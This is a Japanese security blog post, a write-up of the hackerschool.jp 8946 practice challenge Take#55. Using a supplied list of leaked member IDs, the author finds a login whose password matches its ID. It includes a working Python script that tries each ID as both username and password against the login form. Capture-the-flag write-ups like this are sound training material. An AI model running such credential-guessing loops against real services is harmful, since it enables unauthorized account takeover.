セキュリティ技術メモブログ

日々の活動を記録する場所

【8946】Take#55 writeup

はじめに

今更ながら8946のTake#55を解いたので、そのwriteupを。 www.hackerschool.jp

問題

あるサイトから流出した会員IDのリストを入手しました。 パスワードの記載はなく、会員IDのみのリストです。 このリストを元に、下記サイトのログイン認証を突破してみてください。 ログイン成功後、表示されるパスワードを以下のフォームに入力すればクリアです。

「会員IDのリスト」は10000件のIDが書かれたテキストファイル。
「下記サイト」にアクセスすると以下のような画面が表示される。 f:id:Paichan:20200502013441p:plain

問題紹介には「Joeアカウント」と記載されている。 f:id:Paichan:20200502013513p:plain

解法

Joeアカウントとは、IDとパスワードが同じアカウントのことを言う。
(例 ID:joe、パスワード:joe)

問題紹介にもあるように、10000万のIDのなかからこのページにログインできるアカウント(joeアカウント)を探せという問題。
10000通りを手動で調べるのは無理なので、以下のようなスクリプトを書いた。

認証失敗すると、レスポンスに「Error!」という文字列が含まれるため、レスポンスにその文字列が含まれないPOSTデータを表示するスクリプトf:id:Paichan:20200502014354p:plain

import requests

# take55のURL
URL = "http://www.hackerschool.jp/hack/take55_attack.php"

# take55_id_data.txtの内容全てを読み出し、一行毎にリスト化
with open(r"8946\take55_id_data.txt", "r") as f:
    fdata = f.readlines()

s = requests.Session()

# POSTするデータにid、passが同じものを一つずつリクエスト
# 改行コードが邪魔なのでstripで削除
for i in fdata:
    rpost = s.post(
        url = URL,
        data = {"id":i.strip(),"pass":i.strip()},
        headers = {"Cookie":"Your Cookie"}
    )

# レスポンスの中に"Error!"が含まれていないPOSTデータを表示
    if ("Error!" not in rpost.text):
        print(i.strip())
        break